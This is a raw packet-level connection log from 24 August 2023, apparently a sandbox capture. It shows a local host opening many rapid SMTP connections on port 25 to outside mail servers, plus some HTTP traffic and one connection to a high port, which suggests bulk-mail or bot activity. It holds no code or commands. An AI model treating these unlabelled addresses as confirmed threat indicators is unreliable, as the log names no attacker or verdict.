Aug 24, 2023 19:03:41.400100946 CEST	25	50163	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:41.400187969 CEST	50161	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:41.400196075 CEST	50163	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:41.400254011 CEST	50163	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:41.404366016 CEST	25	50171	104.47.51.202	192.168.2.8
Aug 24, 2023 19:03:41.404594898 CEST	50171	25	192.168.2.8	104.47.51.202
Aug 24, 2023 19:03:41.412152052 CEST	25	50147	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.415072918 CEST	25	50157	198.208.69.107	192.168.2.8
Aug 24, 2023 19:03:41.416351080 CEST	25	50172	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:41.416552067 CEST	50172	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:41.423614979 CEST	80	50077	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:41.423669100 CEST	80	50077	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:41.423787117 CEST	50077	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:41.431876898 CEST	50175	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:41.431997061 CEST	25	50171	104.47.51.202	192.168.2.8
Aug 24, 2023 19:03:41.433547974 CEST	25	50171	104.47.51.202	192.168.2.8
Aug 24, 2023 19:03:41.433654070 CEST	50171	25	192.168.2.8	104.47.51.202
Aug 24, 2023 19:03:41.449227095 CEST	25	50158	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.449536085 CEST	50158	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:41.453557968 CEST	25	50145	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.453787088 CEST	50145	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:41.481209993 CEST	25	50164	3.96.81.40	192.168.2.8
Aug 24, 2023 19:03:41.483655930 CEST	25	50155	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:41.483836889 CEST	25	50155	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:41.483952999 CEST	50155	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:41.486165047 CEST	25	50167	51.81.61.70	192.168.2.8
Aug 24, 2023 19:03:41.486291885 CEST	50167	25	192.168.2.8	51.81.61.70
Aug 24, 2023 19:03:41.491041899 CEST	25	50139	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.491257906 CEST	25	50156	64.251.188.9	192.168.2.8
Aug 24, 2023 19:03:41.492964029 CEST	50167	25	192.168.2.8	51.81.61.70
Aug 24, 2023 19:03:41.497462988 CEST	50176	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:41.499979973 CEST	50177	25	192.168.2.8	104.47.73.10
Aug 24, 2023 19:03:41.506228924 CEST	50104	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:41.506289959 CEST	50104	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:41.506329060 CEST	50104	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:41.506371021 CEST	50104	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:41.506473064 CEST	50104	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:41.506617069 CEST	50104	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:41.506617069 CEST	50104	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:41.506617069 CEST	50104	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:41.506669998 CEST	50104	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:41.506688118 CEST	25	50144	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:41.506747007 CEST	50104	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:41.506791115 CEST	50104	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:41.506834030 CEST	50144	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:41.506970882 CEST	25	50163	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:41.507522106 CEST	25	50156	64.251.188.9	192.168.2.8
Aug 24, 2023 19:03:41.507644892 CEST	50156	25	192.168.2.8	64.251.188.9
Aug 24, 2023 19:03:41.508635998 CEST	25	50143	64.136.52.37	192.168.2.8
Aug 24, 2023 19:03:41.511079073 CEST	25	50174	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:41.511236906 CEST	50174	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:41.513421059 CEST	25	50161	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:41.530792952 CEST	25	50165	148.163.145.87	192.168.2.8
Aug 24, 2023 19:03:41.530827999 CEST	25	50165	148.163.145.87	192.168.2.8
Aug 24, 2023 19:03:41.530910015 CEST	50165	25	192.168.2.8	148.163.145.87
Aug 24, 2023 19:03:41.530910015 CEST	50165	25	192.168.2.8	148.163.145.87
Aug 24, 2023 19:03:41.534612894 CEST	25	50162	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:41.535716057 CEST	25	50162	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:41.535883904 CEST	50162	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:41.536783934 CEST	25	50162	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:41.536876917 CEST	50162	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:41.540175915 CEST	25	50173	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:41.540343046 CEST	50173	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:41.541954041 CEST	25	50160	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.542195082 CEST	50160	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:41.543744087 CEST	25	50169	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:41.543972015 CEST	50169	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:41.546905994 CEST	25	50159	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:41.546935081 CEST	25	50159	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:41.546957970 CEST	25	50138	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:41.546974897 CEST	25	50159	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:41.546993017 CEST	25	50137	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:41.547008038 CEST	25	50137	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:41.547023058 CEST	25	50138	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:41.547039032 CEST	25	50138	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:41.547045946 CEST	50159	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:41.547045946 CEST	50159	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:41.547092915 CEST	50137	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:41.547113895 CEST	50138	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:41.547113895 CEST	50138	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:41.547142029 CEST	50138	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:41.547173023 CEST	50159	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:41.547411919 CEST	50137	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:41.574059010 CEST	50178	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:41.583621979 CEST	25	50147	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.583827972 CEST	50147	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:41.590747118 CEST	25	50172	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:41.590832949 CEST	25	50123	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.590898991 CEST	50172	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:41.591022015 CEST	50123	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:41.597018003 CEST	25	50167	51.81.61.70	192.168.2.8
Aug 24, 2023 19:03:41.602633953 CEST	25	50175	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:41.602838993 CEST	50175	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:41.624536991 CEST	50179	25	192.168.2.8	67.212.93.71
Aug 24, 2023 19:03:41.630189896 CEST	25	50176	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:41.630276918 CEST	25	50128	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.630382061 CEST	50176	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:41.630527973 CEST	50128	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:41.632227898 CEST	25	50104	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:41.635617971 CEST	25	50177	104.47.73.10	192.168.2.8
Aug 24, 2023 19:03:41.635914087 CEST	50177	25	192.168.2.8	104.47.73.10
Aug 24, 2023 19:03:41.646455050 CEST	25	50174	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:41.646775007 CEST	50174	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:41.649578094 CEST	25	50153	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.649775028 CEST	25	50139	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.650079012 CEST	50139	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:41.650958061 CEST	50180	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:41.654082060 CEST	25	50156	64.251.188.9	192.168.2.8
Aug 24, 2023 19:03:41.654191971 CEST	25	50156	64.251.188.9	192.168.2.8
Aug 24, 2023 19:03:41.654272079 CEST	50156	25	192.168.2.8	64.251.188.9
Aug 24, 2023 19:03:41.660391092 CEST	25	50159	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:41.661041021 CEST	25	50137	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:41.672265053 CEST	25	50104	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:41.683753014 CEST	50181	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:41.702696085 CEST	80	50077	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:41.702826977 CEST	50077	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:41.703531981 CEST	25	50162	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:41.709872961 CEST	25	50173	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:41.710391045 CEST	50173	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:41.712090015 CEST	50182	25	192.168.2.8	135.148.130.75
Aug 24, 2023 19:03:41.714112043 CEST	25	50169	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:41.714920998 CEST	25	50169	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:41.715105057 CEST	50169	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:41.715538979 CEST	25	50172	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:41.715787888 CEST	25	50172	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:41.715950966 CEST	50172	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:41.735665083 CEST	25	50179	67.212.93.71	192.168.2.8
Aug 24, 2023 19:03:41.735862017 CEST	50179	25	192.168.2.8	67.212.93.71
Aug 24, 2023 19:03:41.744532108 CEST	25	50104	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:41.744966030 CEST	50104	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:41.760185957 CEST	50183	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:41.764478922 CEST	25	50176	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:41.764655113 CEST	50176	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:41.769807100 CEST	25	50178	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:41.769922018 CEST	50178	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:41.772958994 CEST	25	50177	104.47.73.10	192.168.2.8
Aug 24, 2023 19:03:41.773149967 CEST	50177	25	192.168.2.8	104.47.73.10
Aug 24, 2023 19:03:41.775125027 CEST	25	50175	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:41.775278091 CEST	50175	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:41.775525093 CEST	25	50158	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.781377077 CEST	25	50145	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.781449080 CEST	25	50174	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:41.781498909 CEST	25	50174	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:41.781625032 CEST	50174	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:41.785738945 CEST	25	50180	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:41.785871029 CEST	50180	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:41.787643909 CEST	25	50144	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:41.808304071 CEST	25	50181	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:41.808429003 CEST	50181	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:41.812001944 CEST	25	50153	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.812206984 CEST	50153	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:41.816617012 CEST	25	50182	135.148.130.75	192.168.2.8
Aug 24, 2023 19:03:41.816766024 CEST	50182	25	192.168.2.8	135.148.130.75
Aug 24, 2023 19:03:41.826319933 CEST	50184	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:41.837523937 CEST	50185	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:41.840665102 CEST	25	50172	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:41.840750933 CEST	25	50172	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:41.840925932 CEST	50172	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:41.867594957 CEST	50186	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:41.868890047 CEST	50187	25	192.168.2.8	66.23.225.225
Aug 24, 2023 19:03:41.869838953 CEST	25	50160	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.878405094 CEST	25	50173	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:41.879281044 CEST	25	50173	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:41.879478931 CEST	50173	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:41.885335922 CEST	25	50169	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:41.886435986 CEST	25	50169	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:41.886576891 CEST	50169	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:41.887501001 CEST	25	50169	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:41.887586117 CEST	50169	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:41.898232937 CEST	25	50176	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:41.899310112 CEST	25	50176	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:41.899501085 CEST	50176	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:41.910487890 CEST	25	50177	104.47.73.10	192.168.2.8
Aug 24, 2023 19:03:41.910517931 CEST	25	50104	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:41.910640001 CEST	50177	25	192.168.2.8	104.47.73.10
Aug 24, 2023 19:03:41.911881924 CEST	50022	40500	192.168.2.8	213.230.111.166
Aug 24, 2023 19:03:41.915924072 CEST	25	50147	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.916439056 CEST	25	50174	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:41.916590929 CEST	25	50174	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:41.916663885 CEST	50174	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:41.918452978 CEST	50174	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:41.918517113 CEST	25	50123	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.921062946 CEST	25	50180	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:41.921506882 CEST	50180	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:41.935095072 CEST	25	50181	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:41.935445070 CEST	50181	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:41.942948103 CEST	25	50183	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:41.943321943 CEST	50183	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:41.944374084 CEST	25	50145	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.944578886 CEST	50145	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:41.947072029 CEST	25	50175	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:41.947668076 CEST	25	50158	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.947710037 CEST	25	50175	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:41.947838068 CEST	50158	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:41.947902918 CEST	50175	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:41.948431015 CEST	50188	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:41.951268911 CEST	50189	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:41.957900047 CEST	25	50128	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.962572098 CEST	25	50185	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:41.963059902 CEST	50185	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:41.965656042 CEST	25	50172	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:41.965763092 CEST	25	50172	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:41.965920925 CEST	50172	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:41.966938972 CEST	25	50187	66.23.225.225	192.168.2.8
Aug 24, 2023 19:03:41.967077971 CEST	50187	25	192.168.2.8	66.23.225.225
Aug 24, 2023 19:03:41.977555990 CEST	25	50139	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:41.991236925 CEST	25	50179	67.212.93.71	192.168.2.8
Aug 24, 2023 19:03:41.991297007 CEST	25	50179	67.212.93.71	192.168.2.8
Aug 24, 2023 19:03:41.991566896 CEST	50179	25	192.168.2.8	67.212.93.71
Aug 24, 2023 19:03:41.991621971 CEST	50179	25	192.168.2.8	67.212.93.71
Aug 24, 2023 19:03:41.997045994 CEST	25	50144	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:41.997519970 CEST	50144	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:41.999835014 CEST	25	50184	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:42.000065088 CEST	50184	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:42.029133081 CEST	50190	25	192.168.2.8	129.159.105.98
Aug 24, 2023 19:03:42.032120943 CEST	25	50176	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:42.033175945 CEST	25	50176	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:42.033618927 CEST	50176	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:42.034287930 CEST	25	50176	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:42.034436941 CEST	50176	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:42.036271095 CEST	25	50160	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:42.036454916 CEST	50160	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:42.042047977 CEST	50191	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:42.047030926 CEST	25	50177	104.47.73.10	192.168.2.8
Aug 24, 2023 19:03:42.047152042 CEST	25	50173	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:42.047168016 CEST	50177	25	192.168.2.8	104.47.73.10
Aug 24, 2023 19:03:42.048739910 CEST	25	50173	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:42.049340963 CEST	50173	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:42.049652100 CEST	25	50173	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:42.049823999 CEST	50173	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:42.050839901 CEST	25	50174	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:42.056262970 CEST	25	50180	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:42.056301117 CEST	25	50178	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:42.056313992 CEST	25	50178	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:42.056478024 CEST	50178	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:42.056495905 CEST	25	50180	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:42.056627035 CEST	50178	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:42.056719065 CEST	50180	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:42.056724072 CEST	25	50169	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:42.060456991 CEST	25	50181	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:42.060715914 CEST	50181	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:42.075509071 CEST	25	50188	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:42.075900078 CEST	50188	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:42.082587957 CEST	25	50147	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:42.082823038 CEST	50147	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:42.083959103 CEST	50192	25	192.168.2.8	150.136.204.204
Aug 24, 2023 19:03:42.085448027 CEST	25	50123	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:42.089436054 CEST	25	50185	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:42.089602947 CEST	50185	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:42.090626001 CEST	50193	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:42.106143951 CEST	25	50179	67.212.93.71	192.168.2.8
Aug 24, 2023 19:03:42.116727114 CEST	25	50128	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:42.118406057 CEST	25	50175	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:42.119565964 CEST	25	50175	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:42.119710922 CEST	50175	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:42.120563984 CEST	25	50175	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:42.120635986 CEST	50175	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:42.130656958 CEST	50123	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:42.137443066 CEST	25	50153	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:42.143387079 CEST	25	50190	129.159.105.98	192.168.2.8
Aug 24, 2023 19:03:42.143493891 CEST	50190	25	192.168.2.8	129.159.105.98
Aug 24, 2023 19:03:42.161937952 CEST	50128	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:42.166166067 CEST	25	50176	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:42.185863972 CEST	25	50183	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:42.186625004 CEST	25	50181	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:42.190346956 CEST	50183	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:42.190434933 CEST	50181	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:42.191397905 CEST	25	50139	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:42.191505909 CEST	50139	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:42.191956997 CEST	25	50180	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:42.192112923 CEST	25	50180	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:42.192168951 CEST	50180	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:42.192601919 CEST	50180	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:42.193227053 CEST	50168	25	192.168.2.8	62.24.139.42
Aug 24, 2023 19:03:42.197577953 CEST	50194	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:42.197920084 CEST	25	50186	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:42.197971106 CEST	25	50192	150.136.204.204	192.168.2.8
Aug 24, 2023 19:03:42.198014975 CEST	50186	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:42.198086977 CEST	50192	25	192.168.2.8	150.136.204.204
Aug 24, 2023 19:03:42.204238892 CEST	25	50193	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:42.204397917 CEST	50193	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:42.215112925 CEST	25	50185	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:42.215343952 CEST	50185	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:42.217185020 CEST	25	50173	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:42.227442026 CEST	25	50177	104.47.73.10	192.168.2.8
Aug 24, 2023 19:03:42.227710009 CEST	50177	25	192.168.2.8	104.47.73.10
Aug 24, 2023 19:03:42.241498947 CEST	25	50184	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:42.241744995 CEST	50184	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:42.251636028 CEST	25	50178	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:42.259206057 CEST	25	50190	129.159.105.98	192.168.2.8
Aug 24, 2023 19:03:42.259238958 CEST	25	50190	129.159.105.98	192.168.2.8
Aug 24, 2023 19:03:42.259552956 CEST	50190	25	192.168.2.8	129.159.105.98
Aug 24, 2023 19:03:42.259552956 CEST	50190	25	192.168.2.8	129.159.105.98
Aug 24, 2023 19:03:42.271807909 CEST	25	50145	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:42.273947954 CEST	25	50158	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:42.281420946 CEST	25	50189	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:42.281661034 CEST	50189	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:42.281752110 CEST	25	50144	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:42.290306091 CEST	25	50175	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:42.296138048 CEST	50195	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:42.296194077 CEST	25	50153	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:42.296529055 CEST	50153	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:42.308228016 CEST	50196	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:42.311580896 CEST	25	50194	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:42.311676025 CEST	50194	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:42.312215090 CEST	25	50192	150.136.204.204	192.168.2.8
Aug 24, 2023 19:03:42.312325001 CEST	50192	25	192.168.2.8	150.136.204.204
Aug 24, 2023 19:03:42.315603971 CEST	25	50181	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:42.315813065 CEST	50181	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:42.318803072 CEST	25	50193	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:42.319046021 CEST	50193	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:42.320452929 CEST	25	50188	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:42.321901083 CEST	50188	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:42.326793909 CEST	25	50180	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:42.338886976 CEST	50197	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:42.340982914 CEST	25	50185	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:42.341331959 CEST	50185	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:42.354150057 CEST	50198	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:42.358979940 CEST	25	50196	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:42.359138966 CEST	50196	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:42.363363028 CEST	25	50177	104.47.73.10	192.168.2.8
Aug 24, 2023 19:03:42.363939047 CEST	25	50160	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:42.364705086 CEST	25	50177	104.47.73.10	192.168.2.8
Aug 24, 2023 19:03:42.364806890 CEST	50177	25	192.168.2.8	104.47.73.10
Aug 24, 2023 19:03:42.371862888 CEST	25	50183	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:42.372095108 CEST	25	50183	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:42.372270107 CEST	50183	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:42.373987913 CEST	25	50182	135.148.130.75	192.168.2.8
Aug 24, 2023 19:03:42.374089003 CEST	50182	25	192.168.2.8	135.148.130.75
Aug 24, 2023 19:03:42.374156952 CEST	50182	25	192.168.2.8	135.148.130.75
Aug 24, 2023 19:03:42.375005007 CEST	25	50190	129.159.105.98	192.168.2.8
Aug 24, 2023 19:03:42.376399040 CEST	25	50191	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:42.376645088 CEST	50191	25	192.168.2.8	74.125.200.27
